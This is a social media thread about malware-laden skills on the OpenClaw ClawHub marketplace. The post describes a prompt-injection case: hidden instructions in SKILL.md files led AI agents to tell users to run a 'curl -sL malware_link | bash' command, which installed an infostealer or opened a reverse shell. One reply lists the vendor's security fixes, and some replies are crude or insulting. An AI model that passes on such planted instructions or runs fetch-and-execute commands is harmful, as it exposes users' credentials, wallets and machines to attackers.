the #1 most downloaded skill on OpenClaw marketplace was MALWARE
it stole your SSH keys, crypto wallets, browser cookies, and opened a reverse shell to the attackers server
1,184 malicious skills found, one attacker uploaded 677 packages ALONE
OpenClaw has a skill marketplace called ClawHub where anyone can upload plugins
you install a skill, your AI agent gets new powers, this sounds great
the problem? ClawHub let ANYONE publish with just a 1 week old github account
attackers uploaded skills disguised as crypto trading bots, youtube summarizers, wallet trackers. the documentation looked PROFESSIONAL
but hidden in the SKILL .md
file were instructions that tricked the AI into telling you to run a command
> to enable this feature please run: curl -sL malware_link | bash
that one command installed Atomic Stealer on macOS
it grabbed your browser passwords, SSH keys, Telegram sessions, crypto wallets, keychains, and every API key in your .env files
on other systems it opened a REVERSE SHELL giving the attacker full remote control of your machine.
Login to reply
Replies (16)
It works then!
I expected more news on this, but this is the first Iβve heard it mentioned
I'd rather it be that then a malicious library making its way to every device.
I love dunking on macs tbh. I saw an opening and took the shot.
To balance your fear-monger, thereβs been multiple corrective actions and mitigations, starting February 6 and even earlier:
β
- **Feb 19 (v2026.2.19)**: 40+ fixes incl. block unsafe deep-merge keys (prototype pollution); harden Windows command injection; node-scoped URLs (mitigate SSRF); stricter IPv4 checks; trusted-sender Discord validations; ACP secret-file/workdir constraints; plugin/hook path containment; centralized Discord moderation; hardened ACP sessions (refresh/reaping/eviction/rate limiting for DoS); remove untrusted shell interpolations in coding-agent skills.
- **Feb 16 (v2026.2.15)**: 40+ hardening fixes incl. SHA-256 sandbox hashing; token/log redaction; block dangerous sandbox configs (container escapes); sensitive session redaction; fail-closed webhooks; per-skill download restrictions; web fetch size caps (memory exhaustion); sensitive-key whitelisting; git hook injection prevention; malformed session rejection; chat send sanitization (strip controls/Unicode); UI XSS prevention; workspace path sanitization (prompt injections); secure metadata for context tokens.
- **Feb 14 (v2026.2.13)**: Hardening incl. block high-risk tools (e.g., sessions_spawn/gateway) from HTTP invokes; fail-closed ACP permissions for ambiguous tools.
- **Feb 13 (v2026.2.12)**: Fixes incl. prevent unauthenticated Nostr tampering; remove bundled evil hooks; hook session audits/warnings; confine skill sync to sandbox roots; treat web/browser content as untrusted (output wrapping/stripping for prompt injections); constant-time secret comparisons/auth throttling; require auth for browser routes (auto-generated tokens).β
Not shocked at all.
They should gives these bots guns too
Kinda feel like the retards got what they deserve for the most part.
Feel bad for ignorant people who were just curious and messing around but otherwise meh.
Fuck around and find out as they say.
Why anyone would give AI control over their computer and an internet connection at the same time is beyond me.
Do you have the link to it? I want to see it.
script kiddies gotta have fun too I guess
no links sorry - text /sc
now someone posted -> cybersecuritynews
the #1 most downloaded skill on OpenClaw marketplace was MALWARE
it stole your SSH keys, crypto wallets, browser cookies, and opened a reverse shell to the attackers server
1,184 malicious skills found, one attacker uploaded 677 packages ALONE
OpenClaw has a skill marketplace called ClawHub where anyone can upload plugins
you install a skill, your AI agent gets new powers, this sounds great
the problem? ClawHub let ANYONE publish with just a 1 week old github account
attackers uploaded skills disguised as crypto trading bots, youtube summarizers, wallet trackers. the documentation looked PROFESSIONAL
but hidden in the SKILL .md
file were instructions that tricked the AI into telling you to run a command
> to enable this feature please run: curl -sL malware_link | bash
that one command installed Atomic Stealer on macOS
it grabbed your browser passwords, SSH keys, Telegram sessions, crypto wallets, keychains, and every API key in your .env files
on other systems it opened a REVERSE SHELL giving the attacker full remote control of your machine.
Couldn't you just prompt your bot to look over and check the skill before installing it?
It was a cryptoe trading botβ¦
Anyone with 3 functioning brain cells would know not to install a cryptoe trading bot.
You canβt help some ppl. And also, who cares
View quoted note β
What are these cryptoe wallets you speak off? Is my fart coin secure?
#asknostr